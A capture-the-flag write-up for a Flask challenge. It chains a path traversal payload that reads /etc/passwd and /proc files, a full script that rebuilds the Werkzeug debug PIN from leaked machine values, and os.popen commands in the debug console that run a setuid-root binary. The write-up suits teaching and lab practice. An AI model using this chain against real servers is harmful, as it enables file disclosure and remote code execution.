# FlaskForm Pharmaceuticals

### **Challenge Overview**

We are given a Flask web challenge. On `/products`, each **More Info** button sends a request containing a `file=` parameter.

Intercepting the request with **Burp** shows that the application loads files from the `assets` directory and the parameter is vulnerable to **Path Traversal**.

Example:

```bash
file=assets/panacea.txt
```

By modifying it, we can **traverse directories**:

```
../../../etc/passwd #Found current UID
```

```
../../proc/self/status #Found current user based on the UID
```

Path traversal works, but reading `../flag.txt` fails due to insufficient permissions.

In the source code, there is a compiled **C binary** called `readflag`:

```c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    setuid(0);
    FILE *fp;
    char ch;

    fp = fopen("/app/flag.txt", "r");
    if (fp == NULL)
    {
        printf("Error in opening file\n");
        return 0;
    }

    while ((ch = fgetc(fp)) != EOF)
        printf("%c", ch);
    printf("\n");
    fclose(fp);
    return 0;
}
```

Important observations:

* `setuid(0);` → the binary runs as **root**
* It reads `/app/flag.txt`
* If we can execute this **binary**, we get the **flag**

We found this line in **server.py** file

```python
run_simple('0.0.0.0', 8000, app, use_reloader=True, use_debugger=True, use_evalex=True)
```

This exposes the **Werkzeug Debug Console**.

***

### **Exploitation**

For this kind of **exploitation**, [this ](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html#werkzeug-console-pin-exploit)could be a powerful reference.

To access `/debug`, we need the Werkzeug PIN. The PIN is generated from a combination of public and private bits.

Public bits:

* `werkzeug`
* `flask.app`
* `Flask`&#x20;
* `/usr/local/lib/python3.11/site-packages/flask/app.py` (default path)

Private bits:

* MAC address from `/sys/class/net/eth0/address` (converted to decimal)
* Machine ID\
  `/etc/machine-id` was empty, so we used the alternative location:\
  `/proc/sys/kernel/random/boot_id`&#x20;

Using these values, we reconstructed the PIN with:

```python
import hashlib
from itertools import chain

probably_public_bits = [
    'werkzeug',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.11/site-packages/flask/app.py'
]

private_bits = [
    '42742887385508',
    '2dcd580d-1110-4302-a691-2b6e21ddd4c6'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        pin = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                       for x in range(0, len(num), group_size))
        break

print(pin)
```

The script generated the correct **Werkzeug debug PIN**, allowing access to:

```
/console
```

> **Note:** The debug console **endpoint** can be either `/console` or `/debug` depending on the **Werkzeug version**. In this **challenge**, `/console` was the correct one. It can also **easily** be find with a fuzzing tool, like **dirsearch**.

After entering the **PIN**, we obtained the **interactive Python** console.

Inside the console:

List files:

```python
__import__("os").popen("ls").read()
```

Execute the binary:

```python
__import__("os").popen("./readflag").read()
```

Because `readflag` calls `setuid(0)`, it runs as root and reads `/app/flag.txt`, printing the flag directly in the console.

> **Note:** Important paths for this challenge
>
> `/proc/self/status - for current UID`&#x20;
>
> `/etc/passwd - for finding the current user via UID`
>
> `/sys/class/net/eth0/address - MAC Adress`

> **machine-id paths:**
>
> `/etc/machine-id`
>
> `/proc/sys/kernel/random/boot_id - fallback`

&#x20;

*made by k0d*
